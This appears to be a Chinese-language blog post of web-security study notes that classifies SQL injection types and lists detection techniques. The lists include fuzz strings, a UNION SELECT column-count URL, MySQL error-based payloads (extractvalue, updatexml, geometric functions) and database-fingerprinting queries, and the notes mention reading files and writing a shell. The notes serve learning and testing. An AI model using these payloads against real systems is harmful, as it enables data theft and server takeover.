Web安全学习笔记 SQL注入上

繁枝插云欣 ——ICML8


  1. SQL注入分类
  2. SQL注入检测

一.注入分类

1.简介

SQL注入是一种代码注入技术
用于攻击数据驱动的应用程序
在应用程序中,如果没有做恰当的过滤
则可能使得恶意的SQL语句被插入输入字段中执行
例如将数据库内容转储给攻击者

2.按技巧分类

根据使用的技巧,SQL注入类型可分为:

1.盲注

布尔盲注:

只能从应用返回中推断语句执行后的布尔值

时间盲注:

应用没有明确的回显
只能使用特定的时间函数来判断

2.报错注入

应用会显示全部或者部分的报错信息

3.堆叠注入

有的应用可以加入
后一次执行多条语句

4.其他方法

3.按获取数据的方式分类

根据获取数据的方式分为3类:

1.inband

利用Web应用来直接获取数据
如报错注入
这类注入都是通过站点的响应
或者错误反馈来提取数据

2.inference

通过Web的一些反映来推断数据
如布尔盲注,也就是我们通俗的盲注
通过web应用的其他改变来推断数据

3.out of band (OOB)

通过其他传输方式来获得数据
比如DNS解析协议和电子邮件

二.注入检测

1.常见的注入点

GET/POST/PUT/DELETE参数
X-Forwarded-For
文件名

2.Fuzz注入点

' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+ - ^ * % /
<< >> || | & &&
~
!
@
反引号执行

3.测试用常量

@@version
@@servername
@@language
@@spid

4.测试列数

例如

http://www.foo.com/index.asp?id=12+union+select+null,null--

不断增加 null 至不返回

5.报错注入

select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)

5.1. 基于geometric的报错注入

GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f

而以上列表中基于geometric的报错注入在这个commit 5caea4中被修复,在5.5.x较后的版本中同样不再生效。

6.堆叠注入

;select 1

7.注释符

#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/

8.判断过滤规则

是否有trunc
是否过滤某个字符
是否过滤关键字
slash和编码

9.获取信息

1.判断数据库类型

and exists (select * from msysobjects ) > 0 access数据库
and exists (select * from sysobjects ) > 0 SQLServer数据库

2.判断数据库表

and exsits (select * from admin)

3.版本、主机名、用户名、库名

4.表和字段

  1. 确定字段数
Order By
Select Into
  1. 表名、列名

10.测试权限

文件操作

读敏感文件
写shell

带外通道

网络请求

Web安全学习笔记 SQL注入上的更多相关文章

  1. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  2. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  3. Web安全学习笔记——SQL注入

    一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...

  4. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  5. Web安全攻防笔记-SQL注入

    information_schema(MySQL5.0版本之后,MySQL数据库默认存放一个information_schema数据库) information_schema的三个表: SCHEMAT ...

  6. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  7. Web安全学习笔记 XSS上

    Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...

  8. ASP.NET MVC Web API 学习笔记---第一个Web API程序

    http://www.cnblogs.com/qingyuan/archive/2012/10/12/2720824.html GetListAll /api/Contact GetListBySex ...

  9. ASP.NET Core Web开发学习笔记-1介绍篇

    ASP.NET Core Web开发学习笔记-1介绍篇 给大家说声报歉,从2012年个人情感破裂的那一天,本人的51CTO,CnBlogs,Csdn,QQ,Weboo就再也没有更新过.踏实的生活(曾辞 ...

随机推荐

  1. SublimeText 建立构建Node js系统

    Sublime Text 3 构建系统:https://www.sublimetext.com/docs/3/build_systems.html 注意: 文档中出现的 shell_cmd 和 cmd ...

  2. Linux编译安装软件常见问题及排查

    1.配置cmake参数时提示: The C compiler identification is unknown. The CXX compiler identification is unknown ...

  3. 学习Nginx(一)

    实验目的 通过nginx实现反向代理的功能,类似apache反向代理和haproxy反向代理 工作中用nginx做反向代理和负载均衡的也越来越多了 有些公司从web服务器到反向代理,都使用nginx. ...

  4. eclipse更换工作空间后,需要修改哪些常用配置

    一.对于配置不太了解,第一次配置. 常用 (ps:配置我们在导航栏的 Windows --> preference 里进行配置) 1.首先,我们配置编译环境:Java --> Instal ...

  5. ES6技术之“判空方案”

    一.常用方案 直接判断 代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset= ...

  6. css3 nth-child选择器

    css3 nth-child选择器 css3的nth-child选择器,乍看起来很简单,其实不是那么容易. 简单用法 p:nth-child(n) // 选择属于其父元素的第n个子元素的每个 < ...

  7. spark配置双master时一直处于standby的情况

    一.情况描述 按照如下配置,使用zookeeper监听 SPARK_DAEMON_JAVA_OPTS="-Dspark.deploy.recoveryMode=ZOOKEEPER -Dspa ...

  8. 【Android开发】用WebView访问证书有问题的SSL网页

    Android系统的碎片化很严重,并且手机日期不正确.手机根证书异常.com.google.android.webview BUG等各种原因,都会导致WebViewClient无法访问HTTPS站点. ...

  9. spring-注入集合对象

    1.创建Stu类 package com.spring.collections; import java.util.Arrays; import java.util.List; import java ...

  10. Redis 未授权访问漏洞【原理扫描】修复方法

    漏洞类型 主机漏洞 漏洞名称/检查项 Redis 配置不当可直接导致服务器被控制[原理扫描] 漏洞名称/检查项 Redis 未授权访问漏洞[原理扫描] 加固建议 防止这个漏洞需要修复以下三处问题 第一 ...